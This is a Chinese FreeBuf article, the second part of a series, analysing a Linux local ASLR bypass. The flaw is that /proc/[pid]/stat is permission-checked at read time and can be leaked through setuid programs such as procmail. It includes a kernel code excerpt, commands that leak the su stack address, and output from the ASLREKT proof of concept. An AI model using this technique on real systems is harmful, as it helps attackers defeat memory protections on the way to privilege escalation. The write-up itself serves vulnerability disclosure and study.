『FreeBuf』永远修复不完的Linux本地ASLR漏洞( 二 )

$su &[1] 2661cat: /proc/2661/maps: Permission denied正如在oss-sec的漏洞公告中介绍的那样，权限检查在read出执行，这里之所以存在安全问题，是因为非特权用户可以打开映射文件，从中获取到有效的文件描述符，然后将其发送给特权程序。例如setuid root ，而某些特权程序可以以某种方式将文件中的内容泄露给非特权用户，因为特权进程有权限利用read函数来读取映射文件。
相关的漏洞修复方案可以点击【这里】获取。
漏洞分析但是，这个修复方案是存在问题的，因为还有其他的/proc/[pid]/伪文件可以泄露当前映射的内存地址，而它们的权限检查仍然是在read处进行的。在这里，引发问题的还是/proc/[pid]/stat 。
$su &[1] 2767-r--r--r-- 1 root root 0 Feb 4 16:50 /proc/2767/stat[1]+ Stopped su2767 (su) T 2766 2767 2766 34817 2773 1077936128 266 0 1 0 0 0 0 0 20 0 1 0 181759 58273792 810 18446744073709551615 1 1 0 0 0 0 524288 6 0 0 0 0 17 1 0 0 6 0 0 0 0 0 0 0 0 0 0但这一次情况的不同之处就在于，非特权用户可以在不将ptrace附加到目标进程的情况下读取其所属的/proc/[pid]/stat ，但是此时的内存地址字段都被字符“0”替换了。 Linux v5.5中的fs/proc/array.c部分代码如下：
staticintdo_task_stat(structseq_file *m,structpid_namespace *ns,structpid *pid,structtask_struct *task,intwhole){[...][...]permitted = ptrace_may_access(task, PTRACE_MODE_READ_FSCREDS | PTRACE_MODE_NOAUDIT);[...]seq_put_decimal_ull(m," ", mm ? (permitted ? mm->start_code :1) :0);" ", mm ? (permitted ? mm->end_code :1) :0);seq_put_decimal_ull(m," ", (permitted && mm) ? mm->start_stack :0);这个漏洞的利用方式跟SUSE的安全工程师在oss-sec上发布的一样，只不过这种情况下读取的应该是/proc/[pid]/stat 。除此之外，还有一些其他可能会泄露内存地址的setuid文件，其中包括procmail、spice-client-glib-usb-acl-helper和setuid root 。
比如说，我们下面用procmail来举个例子：
$su &[1] 3122$cut -d' '-f51 /proc/3122/stat0[1]+ Stopped su$procmail < /proc/3122/stat$tail -2 /var/spool/mail/user | cut -d' '-f51140726221803504$printf'0x%x\n'1407262218035040x7ffd60760ff0#cat /proc/3122/maps[...]7ffd60740000-7ffd60761000 rw-p 00000000 00:00 0 [stack]漏洞利用我们已将完整的漏洞利用PoC-ASLREKT发布在了GitHub上，感兴趣的用户自行可以下载并测试。
$ ./aslrekt***** ASLREKT *****Password:[+] /bin/su .textisat0x564219868000[+] /bin/su heapisat0x56421b657000[+] /bin/su stackisat0x7ffe78d76000# cat /proc/$(pidof su)/maps总结自从Linux将ASLR引入内核机制以来，针对ASLR的本地攻击一直都未能断绝，毫无疑问，以后针对ASLR的攻击也不会减少。 Linux的内核开发者们似乎对/proc/[pid]/的安全问题也缺乏一定的认识，因此该问题才迟迟得不到适当的解决。
* 参考来源：blazeinfosec ， FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM

『FreeBuf』永远修复不完的Linux本地ASLR漏洞( 二 )

推荐阅读

【八一特别策划】有一种依靠叫人民子弟兵

孤岛晴空|我错在哪了？

【吴京】史泰龙跟谁合照都喜欢来一拳，唯独与见到他出现了“例外”

季末|险企权益类资产配置最高可占45%

觉得自己总给人一直不靠谱的感觉咋办?

『』国外的房顶排水设计太好看了吧、几颗石头一条铁链，越流水越高级

似云-小草|巴黎夺冠却让人担忧，锋线浪费严重，恐要被真蓝黑惩罚？

一辰名字寓意是什么意思一辰名字寓意

天人合一▲刘墉送一桶生姜，大臣嘲笑，为何乾隆看了龙颜大悦，乾隆60岁大寿

保护小程序，防止反编译：打造不怕反编译的小程序

趣头条|共享数字经济新机遇，聚焦数字贸易新发展

草莓味的棉花糖|从“厂妹机”到名品牌，为啥没人说OPPO和vivo低配高价？

穿搭|这上脚也太好看了吧！马卡龙 AJ1 Mid 今日开启火爆发售！

马云为什么没有黑卡(黑卡有什么用)

一年亏损超111亿，被申请预重整，众泰汽车能否“绝地求生”？

招聘|起运，最能光宗耀祖的生肖

公司交的社保和农村交的养老保险，有什么不同？

韩庚|韩庚老婆卢靖姗带2个月女儿晒太阳，首公开女儿英文名，满含爱意

北汽男排3比0胜福建，张秉龙：其实压力真的很大

破产|中国两家银行接连倒闭，2种情况一分钱都不赔，存钱要注意了！